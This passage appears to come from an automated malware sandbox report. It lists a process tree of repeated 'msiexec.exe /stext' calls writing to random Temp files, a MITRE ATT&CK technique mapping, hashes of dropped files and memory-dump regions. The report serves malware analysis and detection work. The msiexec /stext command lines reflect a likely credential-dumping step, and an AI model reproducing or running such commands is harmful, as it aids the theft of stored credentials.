    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11716
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:11724
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11732
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11740
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11748
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11756
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11764
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11772
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11780
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11788
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11796
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\chcivxejtyoaohzanipxpsdsrxqwuapc"
    3⤵
    PID:11804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhl0ozcn.mff.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Afprikningen.Bss

Filesize
445KB

MD5
4e7a6d79fe973b189588ccbcda5d8f3f

SHA1
342bb96dc32353ad48e8ceb2058c5e69dba28481

SHA256
e272b44348b3d46e50db5d58e8fc8088f7feb005a375c33127873b187bab8e44

SHA512
31fd20c4bff214b395c36e2136c9b243ac9c617e63f78f0092778074268ab3a19b5be2cc0af9cea04cbc3e5de67bf1df382648337e0ccc6b39d6693ce9498dde

Download Submit
memory/2068-4-0x00007FFB100D3000-0x00007FFB100D5000-memory.dmp

Filesize
8KB

Download
memory/2068-6-0x00000234A8250000-0x00000234A8272000-memory.dmp

Filesize
136KB

Download
memory/2068-15-0x00007FFB100D0000-0x00007FFB10B91000-memory.dmp

Filesize
10.8MB

Download
memory/2068-16-0x00007FFB100D0000-0x00007FFB10B91000-memory.dmp

Filesize
10.8MB

Download
memory/2068-19-0x00007FFB100D0000-0x00007FFB10B91000-memory.dmp

Filesize
10.8MB

Download
memory/2068-22-0x00007FFB100D0000-0x00007FFB10B91000-memory.dmp

Filesize
10.8MB

Download
memory/4200-109-0x0000000021A60000-0x0000000021A79000-memory.dmp

Filesize
100KB

Download
memory/4200-95-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-111-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-113-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-114-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-110-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-108-0x0000000021A60000-0x0000000021A79000-memory.dmp

Filesize
100KB

Download
memory/4200-82-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-105-0x0000000021A60000-0x0000000021A79000-memory.dmp

Filesize
100KB

Download
memory/4200-104-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-100-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-96-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-115-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-112-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-56-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-59-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-60-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-91-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-87-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-86-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-64-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-68-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-69-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-73-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-77-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4200-78-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4736-35-0x0000000005E30000-0x0000000006184000-memory.dmp

Filesize
3.3MB

Download
memory/4736-41-0x0000000007C90000-0x000000000830A000-memory.dmp

Filesize
6.5MB

Download
memory/4736-23-0x0000000004E70000-0x0000000004EA6000-memory.dmp

Filesize
216KB

Download
memory/4736-24-0x00000000055B0000-0x0000000005BD8000-memory.dmp

Filesize
6.2MB

Download
memory/4736-47-0x0000000008E70000-0x000000000D1A2000-memory.dmp

Filesize
67.2MB

Download
memory/4736-45-0x00000000088C0000-0x0000000008E64000-memory.dmp

Filesize
5.6MB

Download
memory/4736-44-0x0000000007660000-0x0000000007682000-memory.dmp

Filesize
136KB

Download
memory/4736-43-0x00000000076D0000-0x0000000007766000-memory.dmp

Filesize
600KB

Download
memory/4736-42-0x00000000069A0000-0x00000000069BA000-memory.dmp

Filesize
104KB

Download
memory/4736-25-0x0000000005550000-0x0000000005572000-memory.dmp

Filesize
136KB

Download
memory/4736-40-0x0000000006450000-0x000000000649C000-memory.dmp

Filesize
304KB

Download
memory/4736-39-0x0000000006420000-0x000000000643E000-memory.dmp

Filesize
120KB

Download
memory/4736-26-0x0000000005D50000-0x0000000005DB6000-memory.dmp

Filesize
408KB

Download
memory/4736-27-0x0000000005DC0000-0x0000000005E26000-memory.dmp

Filesize
408KB

Download
memory/19732-63-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/19732-61-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/19732-62-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download